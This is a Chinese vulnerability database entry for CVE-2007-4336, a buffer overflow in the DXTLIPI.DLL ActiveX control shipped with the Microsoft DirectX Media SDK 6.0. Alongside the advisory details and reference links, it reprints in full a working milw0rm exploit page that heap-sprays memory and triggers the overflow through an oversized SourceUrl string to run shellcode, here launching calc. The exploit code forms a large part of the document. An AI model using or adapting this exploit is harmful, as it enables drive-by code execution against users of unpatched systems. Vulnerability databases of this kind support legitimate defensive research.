Microsoft DirectX Media SDK DXTLIPI.DLL控件远程栈溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1113449 漏洞类型 缓冲区溢出
发布时间 2007-08-10 更新时间 2008-11-04
CVE编号 CVE-2007-4336 CNNVD-ID CNNVD-200708-232
漏洞平台 Windows CVSS评分 4.3
|漏洞来源
https://www.exploit-db.com/exploits/4279
https://www.securityfocus.com/bid/25279
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200708-232
|漏洞详情
DirectXMediaSDK是用于开发流媒体应用程序的工具包。DirectXMediaSDK捆绑的ActiveX控件实现上存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞控制用户系统。DirectXMediaSDK捆绑了一个由LivePicture公司提供的第三方ActiveX控件FlashPix(DXTLIPI.DLL),该控件在处理SourceUrl()属性时存在缓冲区溢出,如果用户受骗打开了恶意网页并传送了超过大约1044字节的超长字符串的话,就可能触发这个溢出,导致执行任意指令。
|漏洞EXP
<HTML>
<!--
Microsoft DXMedia SDK 6 "SourceUrl" ActiveX 0day Remote Code Execution Exploit
Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
Tested on:..
- Microsoft DirectX Media 6.0 SDK
- Microsoft Internet Explorer 6 + all patches
- Microsoft Windows XP SP2 Polish + all patches

Details:..

obj.SourceUrl = "AAAA..1044..AAAA";
location.reload();

[Module DXTLIPI]
EAX 41414141
CALL DWORD PTR DS:[EAX]
-->

<object id="obj" classid="clsid:201EA564-A6F6-11D1-811D-00C04FB6BD36"></object>

<script>

var shellcode = unescape("%u9090%u9090"+ //Windows Execute Command (calc)
"%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b"+
"%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca"+
"%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b"+
"%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040"+
"%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0"+
"%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%uf068%u048a"+
"%u685f%ufe98%u0e8a%uff57%u63e7%u6c61%u0063");

var address = 0x0D0D0D0D;
var block_size = 0x400000;
var blocks = (address - block_size) / block_size;
var spray = unescape("%u0D0D%u0D0D");
var tmp = "\x0D\x0D\x0D\x0D";
var tmp_size = 1044;

while((spray.length * 2) < block_size) spray += spray;
spray = spray.substring(0, block_size - shellcode.length);
memory = new Array();
for(i = 0; i < blocks; i++) memory[i] = spray + shellcode;
while(tmp.length < (tmp_size * 2)) tmp += tmp;
tmp = tmp.substring(0, tmp_size);

obj.SourceUrl = tmp;
location.reload();

</script>
</HTML>

# milw0rm.com [2007-08-10]
|受影响的产品
Microsoft DirectX Media SDK 6.0
|参考资料

来源:US-CERT
名称:VU#466601
链接:http://www.kb.cert.org/vuls/id/466601
来源:MILW0RM
名称:4279
链接:http://www.milw0rm.com/exploits/4279
来源:VUPEN
名称:ADV-2007-2857
链接:http://www.frsirt.com/english/advisories/2007/2857
来源:SECUNIA
名称:26426
链接:http://secunia.com/advisories/26426
来源:OSVDB
名称:36399
链接:http://osvdb.org/36399
来源:XF
名称:directx-dxtlipi-bo(35970)
链接:http://xforce.iss.net/xforce/xfdb/35970
来源:SECTRACK
名称:1018551
链接:http://www.securitytracker.com/id?1018551
来源:BID
名称:25279
链接:http://www.securityfocus.com/bid/25279